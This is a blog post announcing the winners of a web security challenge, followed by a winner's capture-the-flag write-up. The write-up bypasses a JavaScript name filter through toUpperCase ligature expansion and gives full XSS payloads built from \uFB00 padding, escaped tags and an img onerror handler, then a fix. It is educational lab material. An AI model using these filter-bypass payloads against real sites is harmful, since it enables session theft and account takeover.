DOJO Challenge #27 Winners!

October 9, 2023

JavaScript challenge

The #27th DOJO CHALLENGE, WhazzUP, aims to exploit a Cross Site Scripting (XSS) by taking advantage of the JavaScript function "toUpperCase()" to bypass the validation of the input.

💡 You want to create your own DOJO and publish it? Send us a message on Twitter!

WINNERS!

We are happy to announce the list of winners of the #27 DOJO Challenge.

3 BEST WRITE-UP REPORTS

  • The best write-ups reports were submitted by: Podalirius, GrootMe and M4ke! Congrats 🥳

The swag is on its way! 🎁

Subscribe to our Twitter and/or Linkedin feeds to be notified of the upcoming challenges.

Read on to find out how one of the winners managed to solve the challenge.

The challenge

DOJO Challenge – WhaazUP

We asked you to produce a qualified write-up report explaining the logic allowing such exploitation. This write-up serves two purposes:

  • Ensure no copy-paste would occur.
  • Determine the contestant ability to properly describe a vulnerability and its vectors inside a professionally redacted report. This capacity gives us invaluable hints on your own, unique, talent as a bug hunter.

BEST WRITE-UP REPORT

We would like to thank everyone who participated. The DOJO challenge #27 gave us a large amount of high quality reports for this DOJO challenge, well done to all of you who reported!

We had to make a selection of the best ones. These challenges allow to see that there are almost as many different solutions… as long as there is creativity! 😉

Thanks again for all your submissions and thanks for playing with us!

GrootMe‘s Write-Up

————– START OF GrootMe‘s REPORT ——————

GOAL

Cross-site scripting (XSS) is a vulnerability that allows an attacker to run JavaScript in a victim browser context. The attacker can thus leverage it to take action on behalf of the victim. Most of the time, an XSS allows to steal a session and to take over an account.

As per the description of the challenge, the goal is to trigger an XSS in the DOJO Playground using one variable $fullname.

The valid solutions for the challenge must meet these requirements:

  • Exploit the Cross Site Scripting (XSS) vulnerability
  • Include your XSS payload and a proof of concept of your solution in the report

There is some filter that convert quote ', pipe | and minus than < into underscore _ . But does we really need this one :p

Regex filter: ('|<) 
Replace with: _

The script

<!DOCTYPE html>
<html>
<body>
<h3>Remember kids, JavaScript is absolutely not weird at all</h3>
<div id="displayName"></div>

<script>
const out = document.getElementById('displayName')

const name = '$fullname'.split(' ')

//Display welcome {full-name} to the user's profile page:
if ( name.length == 2 ) {
    out.innerHTML = `<p>Welcome back <b>${prettify(name[0])} ${prettify(name[1])}</b>!</p>`
} else {
    out.innerHTML = '<b style="color:orange">Invalid name given!</b>'
}

//Prettify with uppercase *blink* and validate the name
function prettify(s) {
  len = s.length
  s = s.toUpperCase()
  for ( let i = 0; i < len; i++ ) {    

    //Check so that the name only contains letters:
    if ( s[i].codePointAt() < 65 || s[i].codePointAt() > 90 ) {
      console.error('DANGER :', s[i])
      return '<b style="color:red;">DANGER</b>'
    }
  }
  return s
}
</script>
</body>
<!-- Design only, not a part of the challenge -->
<style>
...
</style>
</html>

Exploitation

Let’s have a look at the code :

  • $fullname
  • $name witch his literally $fullname split in half by space const name = '$fullname'.split(' ') so it is now an array of 2 elements.

The code below prohibits us to write more than 2 words separated by a space :

if ( name.length == 2 )

"Chris Hemsworth" is valid
"Chris Hemsworth Thor" is invalid

And it looks like we can't bypass that... So let's look further on the prettify() function.

The function is called twice by this line :

out.innerHTML = `<p>Welcome back <b>${prettify(name[0])} ${prettify(name[1])}</b>!</p>`

Each block of the fullname is passed in the function prettify() :

//Prettify with uppercase *blink* and validate the name
function prettify(s) {
  len = s.length
  s = s.toUpperCase()
  for ( let i = 0; i < len; i++ ) {    
    //Check so that the name only contains letters:
    if ( s[i].codePointAt() < 65 || s[i].codePointAt() > 90 ) {
      console.error('DANGER :', s[i])
      return '<b style="color:red;">DANGER</b>'
    }
  }
  return s
}
  • First thing :

The commentary : //Prettify with uppercase *blink* and validate the name.
The blink after uppercase was really helpful to find the exploit.

  • Second thing

The length of the string passed in argument is called before the toUpperCase() method. Everybody would say yes but I don't see the problem.

The problem is in front of your eyes -> I call it JavaScript

JavaScript can handle unicode characters from 0 to 65535 in hexa form :

Some example below :

"\u009" -> \t tabulation

"\uD799" -> Korean char i guess

But sometimes, some chars acts pretty strangely with JavaScript when they are converted to uppercase format :

Do you see this one -> .
Sorry if you tried to pick two lowercase f's. It's actually the unicode char '\uFB00' and the magic of this char is that when it's passed to the "toUpperCase()" method - we got FF , and yes, this time there are two capital Fs.

So we have a s length that is 1 and after using "toUpperCase()" the s is 2.

  • Third thing

Now that we've found a way to transform one unciode char to two uppercase F, we can bypass the filter :

for ( let i = 0; i < len; i++ ) {    
  //Check so that the name only contains letters:
  if ( s[i].codePointAt() < 65 || s[i].codePointAt() > 90 ) {
    console.error('DANGER :', s[i])
    return '<b style="color:red;">DANGER</b>'
}

Why ? You tell me !

Explanation and exploit

Let's decompose our exploit :

First we pass a forbidden name :

"chris() evans"

That's forbidden, pretty obvious right !

Now let's try to use our magic char :

"\uFB00\uFB00() evans"

Injection succeed !!!

When we pass our payload "\uFB00\uFB00() evans" the function act like this :

//prettify(name[0])
function prettify(s) {

// s = \uFB00\uFB00()
  len = s.length 
  // len = 4  'ffff()'
  s = s.toUpperCase()
  // now s = 'FFFF()' so the len is 6 !!

// The loop will only check the 4 first char so FFFF and () will be ignored !
  for ( let i = 0; i < len; i++ ) {    
    //Check so that the name only contains letters:
    if ( s[i].codePointAt() < 65 || s[i].codePointAt() > 90 ) {
      console.error('DANGER :', s[i])
      return '<b style="color:red;">DANGER</b>'
    }

  }
  return s
}

Now we are able to craft our payload and add the required amount of unicode characters :

If my payload length = 8 I will need 8 malicious char, but we can add as many as we want of \uFB00 to be sure our payload will work.

Try to execute xss

The challenge isn't finished yet ! we have to execute some JavaScript code now !

There is two problems actually !

  • toUpperCase()
  • Filter < to _

The uppercase function will block our JavaScript code and transform alert(1) to ALERT(1) and it will fail !

The filter <, blocks our payload to be executed in the DOM of the html page and does not execute the scripts below:

<script>alert(1)</script> 

We started with unicode chars so let's finish with unicode chars !

The unicode \u003c is literally the char < but the filter is before the script and will never see the ASCII mode and won't block our char .

Here is my payload :

$fullname = "\uFB00\uFB00\uFB00\uFB00\uFB00\uFB00\uFB00\uFB00\uFB00\uFB00\uFB00\uFB00\uFB00\uFB00\uFB00\uFB00\uFB00\uFB00\uFB00\uFB00\uFB00\uFB00\uFB00\uFB00\uFB00\uFB00\uFB00\uFB00\uFB00\uFB00\uFB00\uFB00\uFB00\uFB00\uFB00\uFB00\uFB00\uFB00\uFB00\uFB00\uFB00\uFB00\uFB00\uFB00\uFB00\uFB00\uFB00\uFB00\uFB00\uFB00\uFB00\uFB00\uFB00\uFB00\uFB00\uFB00\uFB00\uFB00\uFB00\uFB00\uFB00\uFB00\uFB00\uFB00\uFB00\uFB00\uFB00\uFB00\uFB00\uFB00\uFB00\u0009\u003c/b>\u003c/p>\u003c/div>\u003c/div>\u003cimg\u0009src=null\u0009onerror=alert(1)>\u003c/img> evans"

The first chars are used to bypass the loop's uppercase filter.
The last chars :

\u0009\u003c/b>\u003c/p>\u003c/div>\u003cimg\u0009src=null\u0009onerror=alert(1)>\u003c/img>

This chars are used to bypass the html struct and make the <img> tag be executed by the DOM.
So let's see what it gives !!

As planned, the "ToUppercase" function converts our alert to ALERT, and make it undefined by javascript ...

HTML encode

If JavaScript encoding doesn't work for ASCII letters, we can try html encoding!

As an example, take "a" -> ASCII number -> "61" -> html encode "a"

We can craft an alert(1) like this : "&#x61;&#x6C;&#x65;&#x72;&#x74;&#x28;&#x31;&#x29;"

Final exploit

Can we succeed in running JavaScript now?

$fullname = "\uFB00\uFB00\uFB00\uFB00\uFB00\uFB00\uFB00\uFB00\uFB00\uFB00\uFB00\uFB00\uFB00\uFB00\uFB00\uFB00\uFB00\uFB00\uFB00\uFB00\uFB00\uFB00\uFB00\uFB00\uFB00\uFB00\uFB00\uFB00\uFB00\uFB00\uFB00\uFB00\uFB00\uFB00\uFB00\uFB00\uFB00\uFB00\uFB00\uFB00\uFB00\uFB00\uFB00\uFB00\uFB00\uFB00\uFB00\uFB00\uFB00\uFB00\uFB00\uFB00\uFB00\uFB00\uFB00\uFB00\uFB00\uFB00\uFB00\uFB00\uFB00\uFB00\uFB00\uFB00\uFB00\uFB00\uFB00\uFB00\uFB00\uFB00\uFB00\uFB00\uFB00\uFB00\uFB00\uFB00\uFB00\uFB00\uFB00\uFB00\uFB00\uFB00\uFB00\uFB00\uFB00\uFB00\uFB00\uFB00\uFB00\uFB00\uFB00\uFB00\uFB00\uFB00\uFB00\uFB00\uFB00\uFB00\uFB00\uFB00\uFB00\uFB00\uFB00\uFB00\uFB00\uFB00\uFB00\uFB00\u0009\u003c/b>\u003c/p>\u003c/div>\u003c/div>\u003cimg\u0009src=null\u0009onerror="&#x61;&#x6C;&#x65;&#x72;&#x74;&#x28;&#x31;&#x29;">\u003c/img> evans"

We successfully exploited the XSS! Thanks for reading my write-up, it was my first write-up on DOJO!

How to avoid this

Placing the length check just after toUppercase would have made this challenge even more difficult, if not impossible.


//Prettify with uppercase *blink* and validate the name
function prettify(s) {
  // [-] len = s.length
  s = s.toUpperCase()
  // [+] len = s.length
  len = s.length

  for ( let i = 0; i < len; i++ ) {    
    //Check so that the name only contains letters:
    if ( s[i].codePointAt() < 65 || s[i].codePointAt() > 90 ) {
      console.error('DANGER :', s[i])
      return '<b style="color:red;">DANGER</b>'
    }
  }
  return s
}

————– END OF GrootMe‘s REPORT ——————